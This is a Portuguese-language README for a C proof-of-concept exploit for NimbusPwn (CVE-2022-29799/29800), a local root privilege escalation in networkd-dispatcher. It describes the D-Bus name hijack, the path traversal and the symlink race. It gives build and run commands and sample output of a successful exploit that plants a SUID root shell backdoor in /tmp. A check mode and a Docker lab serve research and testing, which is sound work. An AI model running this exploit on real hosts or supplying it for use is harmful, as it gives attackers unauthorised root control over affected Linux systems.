
NimbusPwn (CVE-2022-29799/29800) PoC de escalada de privilégios local em C.
Um PoC em C para o NimbusPwn, uma escalação de privilégio local no networkd-dispatcher. Um usuário não privilegiado reivindica o nome D-Bus org.freedesktop.network1 e envia um OperationalState manipulado. O daemon root não o sanitiza (CVE-2022-29799, path traversal), e uma corrida de symlink no diretório de scripts (CVE-2022-29800, TOCTOU) faz com que ele execute um script plantado pelo atacante como root — gerando um shell root SUID.
Afetado: networkd-dispatcher < 2.1 (corrigido na versão 2.1). Apenas Linux. Necessita do D-Bus do sistema e de um nome org.freedesktop.network1 que possa ser reivindicado.
Compile no Linux (Kali ou na máquina alvo). Não compila nem roda no macOS/Windows.
git clone https://github.com/joshuavanderpoll/NimbusPWN-CVE-2022-29799-29800.git
cd NimbusPWN-CVE-2022-29799-29800
sudo apt install -y gcc libc6-dev libdbus-1-dev pkg-config
cc nimbuspwn.c -o nimbuspwn $(pkg-config --cflags --libs dbus-1)
[!NOTE] Outras distros:
dnf install gcc dbus-devel pkgconf(Fedora/RHEL) oupacman -S gcc dbus pkgconf(Arch). A linha de compilação é a mesma.
Execute como um usuário não privilegiado em um host vulnerável.
./nimbuspwn [-c] [-s SHELL]
-c, --check non-breaking vuln check, no exploitation
-s, --shell SHELL shell to SUID-copy and spawn as root (default /bin/sh)
-h, --help show help
Verifique primeiro (seguro, não planta nada, nunca tenta a corrida):
$ ./nimbuspwn --check
[+] owned org.freedesktop.network1
[+] verdict: likely vulnerable (org.freedesktop.network1 is claimable, no privesc tried)
Depois explore:
$ ./nimbuspwn
[*] shell=/bin/sh drop=/tmp/sh attempts=10
[+] owned org.freedesktop.network1
[@] attempt 1 (/tmp/nimbuspwn_93732)
[+] planted 126 payloads (root-owned /sbin execs) in /tmp/nimbuspwn_93732
[*] OperationalState: ../../../tmp/nimbuspwn_93732/poc
[*] signal sent (serial 3)
[@] symlink swapped, waiting for root exec
[+] root backdoor at /tmp/sh, spawning shell
# id
uid=1000(pwn) gid=1000(pwn) euid=0(root) groups=1000(pwn)
A corrida é não determinística, então ele tenta novamente (padrão 10×). Use -s /bin/bash em hosts sem /bin/sh.
Um laboratório vulnerável autocontido (Ubuntu 20.04 + networkd-dispatcher 2.0 vulnerável). Sem --privileged ou rede do host.
docker compose build
docker compose run --rm nimbuspwn-lab
# inside, as user 'pwn':
./nimbuspwn
O dispatcher 2.0 está incluído em docker/ para que a compilação não dependa de nenhum download externo. Log do dispatcher: /var/log/dispatcher.log.
Esta ferramenta é fornecida apenas para fins educacionais e de pesquisa. O criador não assume nenhuma responsabilidade por qualquer uso indevido ou dano causado pela ferramenta.